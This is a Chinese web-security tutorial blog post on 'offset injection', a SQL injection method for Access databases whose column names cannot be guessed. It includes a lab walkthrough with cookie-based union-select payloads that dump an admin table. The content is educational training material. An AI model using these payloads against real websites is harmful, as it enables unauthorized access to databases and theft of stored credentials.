web安全入门(第五章-2)偏移注入

一、偏移注入使用场景

    早sql注入得时候会遇到一些无法查询列名得问题,比如系统自带数据库的
	权限不够而无法访问系统自带库。
	或者遇到Access数据库

	当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
	
	向sqlmap之类的工具实际上是爆破字段名的名字,但是如果字段名称比较奇葩,例如:H5scker_passwd 之类的那就无可奈何了。

总结:
		~权限不够
		~遇到access数据库,且列名奇葩难爆破时

	.*  =>正则[匹配所有]
	.*  =>*=>在数据库中*也代表一切  
	
	select table_name from information_schema(库).tables(表) where table_schema=database()   //  查询(当前库)系统自带库里面的表名

	information_schema(库).tables(表)=>information_schema(库)库里面的这个表

	库.表 => 选中这个库里面这个表
	库.表.字段
	admin.*=>admin 表里面所有的字段
    select admin.username from admin=>select username from admin 
	
	mysql联合查询不用from表名
	示例 select*from admin union select 1,2,3 (from user)//括号中的内容可不写
	
	access需要from表名
示例 select*from admin union select 1,2,3 (from user)//括号中的内容必须写

二、偏移注入步骤

偏移注入:不存在注入:寻找其他页面
                      寻找其他参数

		  存在注入:联合查询:
			   	猜字段数  order by 1
							  
				猜显错点 : union select 1,2,3,4,5,
						注:access需要先猜表名,因为查询语句必须写表名
				猜表名  :mysql:查询自带库自带表
						accees:强行猜解and exists(select*from表名)
				猜不到字段名:开始偏移:例子:union select 1,admin.*,10 from admin
						注:注入点的表的字段越多越好满足一个条件 注入点的表字段要大于你查询的字段
							然后开始不断的移动表.*来输出各种数据

一、偏移注入步骤(Access为例)

	1.判断注入点:
		当在url中输入and 1=1和and1=2时,出现错误提示,说明Get传参被处理了,我们就需要看看Cookie传参是否没有被处理。
		使用js代码在控制台判断。
		document.cookie="id="+escape("xx and 1=1")
		document.cookie="id="+escape("xx and 1=2")	
	2.order by 判断字段数:
		document.cookie="id="+escape("xx order by 1")	
	3.判断表名:
		document.cookie="id="+escpe("xx and(exists(select * from admin))")	
	4.联合查询(判断输出点):
		字段数相同
		注入点的表的字段一定要大于查询的表
		top x取几条数据,一点要降序,才能达到limit的效果
		docuemnt.cookie="id="+escape("xx union select 1,2,3…… from admin")		
	5.获取表中列数(知道存在几列以及输出点):
		docuemnt.cookie="id="+escape("xx union select 1,2,3…… admin.* from admin")		
	6.开始偏移注入:
		docuemnt.cookie="id="+escape("xx union select 1,2,admin.*,3 from admin")
解释:admin为想要查询数据的表名
	  3为输出点。

靶场作业:

	判断字段数
	105 order by 26 页面正常
	document.cookie="id="+escape("105 order by 27") 页面错误  说明存在26个字段

	猜解表名
	document.cookie="id="+escape("105 and exists(select *from admin)") 
	页面正常 说明存在admin表

	找回显点
	document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin") 
	出现 3 5 7 25四个回显点  25也是回显点只不过被隐藏了

	找字段数
	document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,*from admin") 显示错误
	document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,*from admin")显示错误
	多次尝试发现有admin表有16个字段
	document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,*from admin")

	爆内容
	经过调整admin.*的位置可以爆出admin 表的所有内容
	document.cookie="id="+escape("105 union select admin.*,1,2,3,4,5,6,7,8,9,10 from admin")
	document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值